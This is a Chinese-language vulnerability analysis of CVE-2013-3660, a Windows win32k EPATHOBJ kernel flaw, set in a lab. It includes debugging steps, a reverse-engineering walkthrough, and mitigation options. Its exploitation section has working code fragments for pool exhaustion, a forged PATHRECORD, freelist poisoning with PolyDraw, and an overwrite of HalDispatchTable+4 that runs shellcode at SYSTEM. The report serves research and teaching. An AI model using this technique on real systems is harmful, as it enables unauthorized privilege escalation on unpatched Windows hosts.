CVE-2013-3660 分析报告
参考
https://www.anquanke.com/post/id/205867#h3-15
实验环境:
物理机:win10
虚拟机:windows_7_home_basic_with_sp1_x86
漏洞描述:
利用内核漏洞进行本地提权。双向链表的插入节点操作可以被中止,导致新节点的next指针未初始化,这样,再次遍历时会对未知的数据进行访存而引发错误。
测试截图:
初始状态
运行脚本
实现本地将我们的权限提升到 system
POC代码
1 |
|
利用poc 代码我们可以知道 Windows 内核报错的位置在哪儿,从而方便我们对其代码层的认识。
内核调试
利用 windbg 启动内核调试
在虚拟机中 输入下列指令
1 | bcdedit /dbgsettings serial baudrate:115200 debugport:1 |
本机的windbg 中启动
1 | windbg.exe -k com:port=\.\pipe\com_1,baud=115200,pipe |
windbg 的符号 在 Symbol Search Path
中添加
1 | srv*D:\code\WinSym*https://msdl.microsoft.com/download/symbols |
如果连接成功 会显示这样的情况
1 | Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 |
然后我们运行我们编译好的 Poc.exe 这个时候 windbg 会出现一个内存断点。
然后我们要去查看对应的运行到的函数位置,和栈帖中的函数调用结构
1 | kd> g |
于是我们知道了 这个 漏洞的 出现位置 为
win32k!EPATHOBJ::bFlatten+0x15:
这个位置
代码分析
前期认识
所以我们的分析路线就应该是从这个函数开始分析。我们利用 IDA 对 win32k.sys
进行反编译分析。
找到对应的报错函数 EPATHOBJ::bFlatten
然后我们发现这里 调用了 EPATHOBJ::pprFlattenRec
这个函数
进入这个函数后 调用了 EPATHOBJ::newpathrec
然后调用了 newpathalloc
函数
进入这个函数后,和正常的 申请内存一样,会先去检测 对应的 freelist是否为空。且是 PATHALLOC::freelist
查找是否有合适的 用于分配 PATHRECORD
结构
而且外面发现这里的 申请 从freelist 中获取对应的堆块用于结构体分配,但是对于这个分配的内存没有进行一个 初始化,从而这里面会存在一些垃圾数据。
因为是分配 PATHRECORD
结构体。那么我们需要给ida 手动定义一个 结构体。结构体我们可以直接在官网介绍中找到对应的结果
1 | struct _PATHRECORD |
从而我们就可以看到 对应的结构体了 从而方便我们对代码的理解
细节分析
然后我们对伪代码进行了处理更好分析后,能更细致的分析了。
首先从 第一个函数开始分析
EPATHOBJ::bFlatten
我们可以这个函数中 其中 ppath+20
为 ppath->next
想要调用下一个函数 EPATHOBJ::pprFlattenRec
函数,首先会遍历列表,且遍历到 path_record 节点的 flags 标志位 为 0x10 (对应为PD_BEZIER)的才回进行操作
EPATHOBJ::pprFlattenRec
这个函数所做的工作实际就是摘除当前节点,并创建一个新节点链入原位置。
也就是对应的 unlink 的操作方式。因为没有对其中的 unlink的 指针进行一个合法性的验证,从而出现了 unlink 任意申请的漏洞。
首先第一个 if 中我们知道这个函数中 是申请一块内存,且没有对内存内容进行一个初始化。(得到一块内存
接着是第二个 if 这里实现了我们的 unlink的操作,对引用初始化的内存,实现写任意地址。
这里如果我们的 我们的 Freelist_node->prev->next
中 Freelist_node->prev
对应的地址是一个我们想要修改的结构体地址,且我们的 Freelist_node
的第一个结构残留的值是恶意值。进行了上面的第二个if 操作后 Freelist_node->prev->next
就会被修改为我们的 Freelist_node
的第一个结构残留的值是恶意值,实现攻击。
漏洞利用
因为最后要实现 unlink 的攻击
我们的目标是
先进入 EPATHOBJ::bFlatten
然后让这个函数的循环终止,然后调用 EPATHOBJ::pprFlattenRec
实现最后的 任意地址写
要实现这个步骤,我们要让 PathRecord->next
为 ExploitRecord
这样对应的 EPATHOBJ::bFlatten
循环就会终止调用 EPATHOBJ::pprFlattenRec
函数,实现任意地址写 PatrhObj
对象地址
实现内存消耗,利用
CreateRoundRectRgn
消耗内存。使得之后分配内存池时分配失败,引起链表插入操作中断1
2
3
4for (Size = 1 << 26; Size; Size >>= 1) {
while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
NumRegion++;
}这里的操作能导致在调用
EPATHOBJ::createrec
中的 newpathalloc 函数的时候分配内存失败,然后调用EPATHOBJ::reinit
函数,接着依次调用vFreeBolocks->freepathalloc
,最终将用户控制的内存添加到 freelist 中然后我们要做的就是 创建我们需要利用到的 恶意的
_PATHRECORD
类1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22PathRecord = VirtualAlloc(NULL,
sizeof(PATHRECORD),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);
FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
// 指向自身 让 `EPATHOBJ::bFlatten` 能够一直循环
PathRecord->next = PathRecord;
PathRecord->prev = (PVOID)(0x42424242);
// 让 flags 不瞒住情况 可以无限循环
PathRecord->flags = 0;
LogMessage(L_INFO, " ->next @ %p", PathRecord->next);
LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev);
LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags);
ExploitRecord.next = NULL;
ExploitRecord.prev = 0xCCCCCCCC;
ExploitRecord.flags = PD_BEZIERS;利用这几个 结构体我们用于布置对应的 恶意 unlink 需要的 链表顺序
内存池污染
布置好对应的 链表结构后 因为上面我们利用内存耗尽 从而能让我们将我们自己布置的链表结构插入到 对应的 内存池,实现污染,然后下次分配能够利用。
这里利用
PolyDraw
将ring3
的自定义path_record块地址压入内存池,控制内存池中未初始化的数据。这里涉及到了自定义path_record块的初始化,将其next指针设置为自身是为了在触发漏洞后保存比较稳定的状态。然后用够着的点信息去填充 freelist 这里主要就是 利用的
PolyDraw
函数实现的这个功能1
2
3
4
5
6
7
8
9
10LogMessage(L_INFO, "Flattening curves...");
for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
EndPath(Device);
}然后生成大量的 贝济埃曲线,以便对其直线化时调用漏洞函数,
1
2
3
4
5
6
7LogMessage(L_INFO, "Creating complex bezier path with %#x", (ULONG)(PathRecord) >> 4);
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
Points[PointNum].x = (ULONG)(PathRecord) >> 4;
Points[PointNum].y = (ULONG)(PathRecord) >> 4;
PointTypes[PointNum] = PT_BEZIERTO;
}这个时候 我们的 恶意链已经放入 内存池里面了
然后就是等待调用到
pprFlattenRec
函数实现unlink 操作
这里 我们的 Freelist_node 已经为 我们恶意布置的 chunk了
首先我们的结构变成了
接着当我们继续进行到 后面的 if 判断
因为我们的 Freelist_node 对应的 prev 位是存在值的,那么我们就会进行 下列函数操作
1
Freelist_node->prev->next = Freelist_node
因为结构中
pprnext
还有4字节可以使用,这里我们可以布置为一个 jmp 指令实现一个跳转。然后pprprev
设置为 一个我们要修改的 一个 地址的值+4 这样就能实现一个 任意写的功能了。这里利用
nt!HalDispatchTable+0x04
布置pprprev
,jmp xxx
布置pprnext
从而能够实现 执行我们自己定义的 shellcode
总结
漏洞原理
EPATHOBJ::bFlatten
首先遍历列表找到 对应的 path_record 节点的 flags 标志位 为 0x10 的结构体,从而进行下一步
EPATHOBJ::pprFlattenRec
中利用unlink 操作实现任意写
攻击手法
网上找到的 流程图
历史修补方法
对 freelist 进行一个 零初始化
临时补丁方案 A:主动清零池中的数据
优点:逻辑上容易想到;pprNew.next 如果为 NULL 意味着尾节点
缺点:定位 freepathalloc 等相对复杂;PATHRECORD 链表其它节点丢失
临时补丁方案 B:Patch 池计数器比较代码,禁用池机制
优点:不需要 Inline Hook,1字节热补丁
缺点:PATHALLOC 池机制被禁用;PATHRECORD 链表其它节点丢失
正式补丁方案 A:重写错误处理代码
恢复链表正确的形态
正式补丁方案 B:重写链表操作代码
链表操作应保证原子性